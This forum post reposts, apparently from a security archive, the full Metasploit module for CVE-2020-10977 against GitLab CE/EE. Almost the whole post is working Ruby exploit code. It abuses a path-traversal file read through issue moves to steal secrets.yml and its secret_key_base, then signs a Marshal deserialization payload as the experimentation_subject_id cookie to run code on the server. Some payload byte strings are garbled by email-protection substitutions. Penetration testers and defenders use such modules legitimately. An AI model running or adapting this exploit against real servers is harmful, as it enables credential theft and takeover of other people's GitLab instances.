GitLab File Read Remote Code Execution

#193
Topic created · 1 Posts · 1 Views
  • This Metasploit module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE)
    . It combines an arbitrary file read to extract the Rails secret_key_base, and gains remote code execution with a deserialization vulnerability of a signed experimentation_subject_id cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0.
    MD5 | 9603149ee63599adcc99cffa47a96d86
    Download

    ##  
    # This module requires Metasploit: https://metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
    class MetasploitModule < Msf::Exploit::Remote  
    Rank = ExcellentRanking  
    include Msf::Exploit::Remote::HttpClient  
    prepend Msf::Exploit::Remote::AutoCheck  
    # From Rails  
    class MessageVerifier  
    class InvalidSignature < StandardError  
    end  
    def initialize(secret, options = {})  
    @secret = secret  
    @digest = options[:digest] || 'SHA1'  
    @serializer = options[:serializer] || Marshal  
    end  
    def generate(value)  
    data = ::Base64.strict_encode64(@serializer.dump(value))  
    "#{data}--#{generate_digest(data)}"  
    end  
    def generate_digest(data)  
    require 'openssl' unless defined?(OpenSSL)  
    OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)  
    end  
    end  
    class NoopSerializer  
    def dump(value)  
    value  
    end  
    end  
    class KeyGenerator  
    def initialize(secret, options = {})  
    @secret = secret  
    @iterations = options[:iterations] || 2**16  
    end  
    def generate_key(salt, key_size = 64)  
    OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)  
    end  
    end  
    class GitLabClientException < StandardError; end  
    class GitLabClient  
    def initialize(http_client)  
    @http_client = http_client  
    @cookie_jar = {}  
    end  
    def sign_in(username, password)  
    sign_in_path = '/users/sign_in'  
    csrf_token = extract_csrf_token(  
    path: sign_in_path,  
    regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}  
    )  
    res = http_client.send_request_cgi({  
    'method' => 'POST',  
    'uri' => '/users/sign_in',  
    'cookie' => cookie,  
    'vars_post' => {  
    'utf8' => '✓',  
    'authenticity_token' => csrf_token,  
    'user[login]' => username,  
    'user[password]' => password,  
    'user[remember_me]' => 0  
    }  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.body.include?('Invalid Login or password')  
    raise GitLabClientException, 'Username or password invalid'  
    elsif res.code != 302  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    elsif res.headers.fetch('Location', '').include?(sign_in_path)  
    raise GitLabClientException, 'Login not successful. The account may need activated. Verify login works manually.'  
    end  
    merge_cookie_jar(res)  
    current_user  
    end  
    def current_user  
    res = http_client.send_request_cgi({  
    'method' => 'GET',  
    'uri' => '/api/v4/user',  
    'cookie' => cookie  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.code != 200  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    end  
    JSON.parse(res.body)  
    end  
    def version  
    res = http_client.send_request_cgi({  
    'method' => 'GET',  
    'uri' => '/api/v4/version',  
    'cookie' => cookie  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.code != 200  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    end  
    JSON.parse(res.body)  
    end  
    def create_project(user:)  
    new_project_path = '/projects/new'  
    create_project_path = '/projects'  
    csrf_token = extract_csrf_token(  
    path: new_project_path,  
    regex: /action="#{create_project_path}".*name="authenticity_token"\s+value="([^"]+)"/  
    )  
    project_name = Rex::Text.rand_text_alphanumeric(8)  
    res = http_client.send_request_cgi({  
    'method' => 'POST',  
    'uri' => create_project_path,  
    'cookie' => cookie,  
    'vars_post' => {  
    'utf8' => '✓',  
    'authenticity_token' => csrf_token,  
    'project[ci_cd_only]' => 'false',  
    'project[name]' => project_name,  
    'project[namespace_id]' => (user['id']).to_s,  
    'project[path]' => project_name,  
    'project[description]' => Rex::Text.rand_text_alphanumeric(8),  
    'project[visibility_level]' => '0'  
    }  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.body.include?('Namespace is not valid')  
    raise GitLabClientException, 'This uer can not create additional projects, please delete some'  
    elsif res.code != 302  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    end  
    merge_cookie_jar(res)  
    project(user: user, project_name: project_name)  
    end  
    def project(user:, project_name:)  
    project_path = "/#{user['username']}/#{project_name}"  
    res = http_client.send_request_cgi({  
    'method' => 'GET',  
    'uri' => project_path,  
    'cookie' => cookie  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.code != 200  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    end  
    project_id = res.body[/Project ID: (\d+)/, 1]  
    {  
    'id' => project_id,  
    'name' => project_name,  
    'path' => project_path,  
    'edit_path' => "#{project_path}/edit",  
    'delete_path' => "/#{user['username']}/#{project_name}"  
    }  
    end  
    def delete_project(project:)  
    edit_project_path = project['edit_path']  
    delete_project_path = project['delete_path']  
    csrf_token = extract_csrf_token(  
    path: edit_project_path,  
    regex: /action="#{delete_project_path}".*name="authenticity_token" value="([^"]+)"/  
    )  
    res = http_client.send_request_cgi({  
    'method' => 'POST',  
    'uri' => delete_project_path,  
    'cookie' => cookie,  
    'vars_post' => {  
    'utf8' => '✓',  
    'authenticity_token' => csrf_token,  
    '_method' => 'delete'  
    }  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.code != 302  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    end  
    true  
    end  
    def create_issue(project:, issue:)  
    new_issue_path = "#{project['path']}/issues/new"  
    create_issue_path = "#{project['path']}/issues"  
    csrf_token = extract_csrf_token(  
    path: new_issue_path,  
    regex: /action="#{create_issue_path}".*name="authenticity_token"\s+value="([^"]+)"/  
    )  
    res = http_client.send_request_cgi({  
    'method' => 'POST',  
    'uri' => create_issue_path,  
    'cookie' => cookie,  
    'vars_post' => {  
    'utf8' => '✓',  
    'authenticity_token' => csrf_token,  
    'issue[title]' => issue['title'] || Rex::Text.rand_text_alphanumeric(8),  
    'issue[description]' => issue['description'] || Rex::Text.rand_text_alphanumeric(8),  
    'issue[confidential]' => '0',  
    'issue[assignee_ids][]' => '0',  
    'issue[label_ids][]' => '',  
    'issue[due_date]' => '',  
    'issue[lock_version]' => '0'  
    }  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.code != 302  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    end  
    merge_cookie_jar(res)  
    issue_id = res.body[%r{You are being <a href="http://.*#{create_issue_path}/(\d+)">redirected</a>}, 1]  
    issue.merge({  
    'path' => "#{create_issue_path}/#{issue_id}",  
    'move_path' => "#{create_issue_path}/#{issue_id}/move"  
    })  
    end  
    def move_issue(issue:, target_project:)  
    issue_path = issue['path']  
    move_issue_path = issue['move_path']  
    csrf_token = extract_csrf_token(  
    path: issue_path,  
    regex: /name="csrf-token" content="([^"]+)"/  
    )  
    res = http_client.send_request_cgi({  
    'method' => 'POST',  
    'uri' => move_issue_path,  
    'cookie' => cookie,  
    'ctype' => 'application/json',  
    'headers' => {  
    'X-CSRF-Token' => csrf_token,  
    'X-Requested-With' => 'XMLHttpRequest'  
    },  
    'data' => {  
    'move_to_project_id' => (target_project['id']).to_s  
    }.to_json  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.code != 200  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    end  
    json_res = JSON.parse(res.body)  
    {  
    'path' => json_res['web_url'],  
    'description' => json_res['description']  
    }  
    end  
    def download(project:, path:)  
    res = http_client.send_request_cgi({  
    'method' => 'GET',  
    'uri' => "#{project['path']}/#{path}",  
    'cookie' => cookie  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.code != 200  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    end  
    res.body  
    end  
    private  
    attr_reader :http_client  
    def extract_csrf_token(path:, regex:)  
    res = http_client.send_request_cgi({  
    'method' => 'GET',  
    'uri' => path,  
    'cookie' => cookie  
    })  
    if res.nil? || res.body.nil?  
    raise GitLabClientException, 'Empty response. Please validate RHOST'  
    elsif res.code != 200  
    raise GitLabClientException, "Unexpected HTTP #{res.code} response."  
    end  
    merge_cookie_jar(res)  
    token = res.body[regex, 1]  
    if token.nil?  
    raise GitLabClientException, 'Could not successfully extract CSRF token'  
    end  
    token  
    end  
    def cookie  
    return nil if @cookie_jar.empty?  
    @cookie_jar.map { |(k, v)| "#{k}=#{v}" }.join(' ')  
    end  
    def merge_cookie_jar(res)  
    new_cookies = Hash[res.get_cookies.split(' ').map { |x| x.split('=') }]  
    @cookie_jar.merge!(new_cookies)  
    end  
    end  
    def initialize(info = {})  
    super(  
    update_info(  
    info,  
    'Name' => 'GitLab File Read Remote Code Execution',  
    'Description' => %q{  
    This module provides remote code execution against GitLab Community  
    Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file  
    read to extract the Rails "secret_key_base", and gains remote code  
    execution with a deserialization vulnerability of a signed  
    'experimentation_subject_id' cookie that GitLab uses internally for A/B  
    testing.  
    Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,  
    and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects  
    versions 12.4.0 and above when the vulnerable `experimentation_subject_id`  
    cookie was introduced.  
    Tested on GitLab 12.8.1 and 12.4.0.  
    },  
    'Author' =>  
    [  
    'William Bowling (vakzz)', # Discovery + PoC  
    'alanfoster', # msf module  
    ],  
    'License' => MSF_LICENSE,  
    'References' =>  
    [  
    ['CVE', '2020-10977'],  
    ['URL', 'https://hackerone.com/reports/827052'],  
    ['URL', 'https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/']  
    ],  
    'DisclosureDate' => '2020-03-26',  
    'Platform' => 'ruby',  
    'Arch' => ARCH_RUBY,  
    'Privileged' => false,  
    'Targets' => [['Automatic', {}]],  
    'DefaultTarget' => 0,  
    'Notes' => {  
    'Stability' => [CRASH_SAFE],  
    'Reliability' => [REPEATABLE_SESSION],  
    'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
    }  
    )  
    )  
    register_options(  
    [  
    OptString.new('USERNAME', [false, 'The username to authenticate as']),  
    OptString.new('PASSWORD', [false, 'The password for the specified username']),  
    OptString.new('TARGETURI', [true, 'The path to the vulnerable application', '/users/sign_in']),  
    OptString.new('SECRETS_PATH', [true, 'The path to the secrets.yml file', '/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml']),  
    OptString.new('SECRET_KEY_BASE', [false, 'The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present']),  
    OptInt.new('DEPTH', [true, 'Define the max traversal depth', 15])  
    ]  
    )  
    register_advanced_options(  
    [  
    OptString.new('SignedCookieSalt', [ true, 'The signed cookie salt', 'signed cookie']),  
    OptInt.new('KeyGeneratorIterations', [ true, 'The key generator iterations', 1000])  
    ]  
    )  
    end  
    #  
    # This stub ensures that the payload runs outside of the Rails process  
    # Otherwise, the session can be killed on timeout  
    #  
    def detached_payload_stub(code)  
    %^  
    code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first  
    if RUBY_PLATFORM =~ /mswin|mingw|win32/  
    inp = IO.popen("ruby", "wb") rescue nil  
    if inp  
    inp.write(code)  
    inp.close  
    end  
    else  
    Kernel.fork do  
    eval(code)  
    end  
    end  
    {}  
    ^.strip.split(/\n/).map(&:strip).join("\n")  
    end  
    def build_payload  
    code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"  
    # Originally created with Active Support 6.x  
    #   code = '`curl 10.10.15.26`'  
    #   erb = ERB.allocate; nil  
    #   erb.instance_variable_set(:@src, code);  
    #   erb.instance_variable_set(:@filename, "1")  
    #   erb.instance_variable_set(:@lineno, 1)  
    #   value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)  
    #   Marshal.dump(value)  
    "\x04\b" \  
    'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \  
    "\t:[[email protected]](/cdn-cgi/l/email-protection)" \  
    "o:\bERB" \  
    "\b" \  
    ":[[email protected]](/cdn-cgi/l/email-protection)#{Marshal.dump(code)[2..-1]}" \  
    ":[[email protected]](/cdn-cgi/l/email-protection)\"\x061" \  
    ":[[email protected]](/cdn-cgi/l/email-protection)\x06" \  
    ":[[email protected]](/cdn-cgi/l/email-protection):\vresult" \  
    ":[[email protected]](/cdn-cgi/l/email-protection)\"[[email protected]](/cdn-cgi/l/email-protection)" \  
    ":[[email protected]](/cdn-cgi/l/email-protection):\x1FActiveSupport::Deprecation\x00\x06:\x06ET"  
    end  
    def sign_payload(secret_key_base, payload)  
    key_generator = KeyGenerator.new(secret_key_base, { iterations: datastore['KeyGeneratorIterations'] })  
    key = key_generator.generate_key(datastore['SignedCookieSalt'])  
    verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new })  
    verifier.generate(payload)  
    end  
    def check  
    validate_credentials_present!  
    git_lab_client = GitLabClient.new(self)  
    git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])  
    version = Gem::Version.new(git_lab_client.version['version'][/(\d+.\d+.\d+)/, 1])  
    # Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8  
    # However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8  
    has_rce_present = (  
    version.between?(Gem::Version.new('12.4.0'), Gem::Version.new('12.7.7')) ||  
    version.between?(Gem::Version.new('12.8.0'), Gem::Version.new('12.8.7')) ||  
    version == Gem::Version.new('12.9.0')  
    )  
    if has_rce_present  
    return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.")  
    end  
    Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.")  
    rescue GitLabClientException => e  
    Exploit::CheckCode::Unknown(e.message)  
    end  
    def validate_credentials_present!  
    missing_options = []  
    missing_options << 'USERNAME' if datastore['USERNAME'].blank?  
    missing_options << 'PASSWORD' if datastore['PASSWORD'].blank?  
    if missing_options.any?  
    raise Msf::OptionValidateError, missing_options  
    end  
    end  
    def read_secret_key_base  
    return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present?  
    validate_credentials_present!  
    git_lab_client = GitLabClient.new(self)  
    user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])  
    print_status("Logged in to user #{user['username']}")  
    project_a = git_lab_client.create_project(user: user)  
    print_status("Created project #{project_a['path']}")  
    project_b = git_lab_client.create_project(user: user)  
    print_status("Created project #{project_b['path']}")  
    issue = git_lab_client.create_issue(  
    project: project_a,  
    issue: {  
    'description' => "![#{Rex::Text.rand_text_alphanumeric(8)}](/uploads/#{Rex::Text.rand_text_numeric(32)}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})"  
    }  
    )  
    print_status("Created issue #{issue['path']}")  
    print_status('Executing arbitrary file load')  
    moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b)  
    secrets_file_url = moved_issue['description'][/[secrets.yml]\((.*)\)/, 1]  
    secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url)  
    loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')  
    print_good("File saved as: '#{loot_path}'")  
    secret_key_base = secrets_yml[/secret_key_base:\s+(.*)/, 1]  
    if secret_key_base.nil?  
    fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value')  
    end  
    print_good("Extracted secret_key_base #{secret_key_base}")  
    print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read')  
    secret_key_base  
    rescue GitLabClientException => e  
    fail_with(Failure::UnexpectedReply, e.message)  
    ensure  
    [project_a, project_b].each do |project|  
    begin  
    next unless project  
    print_status("Attempting to delete project #{project['path']}")  
    git_lab_client.delete_project(project: project)  
    print_status("Deleted project #{project['path']}")  
    rescue StandardError  
    print_error("Failed to delete project #{project['path']}")  
    end  
    end  
    end  
    def exploit  
    secret_key_base = read_secret_key_base  
    payload = build_payload  
    signed_cookie = sign_payload(secret_key_base, payload)  
    send_request_cgi({  
    'uri' => normalize_uri(target_uri.path),  
    'method' => 'GET',  
    'cookie' => "experimentation_subject_id=#{signed_cookie}"  
    })  
    end  
    end  
    

    Source: packetstormsecurity.com

Log in to reply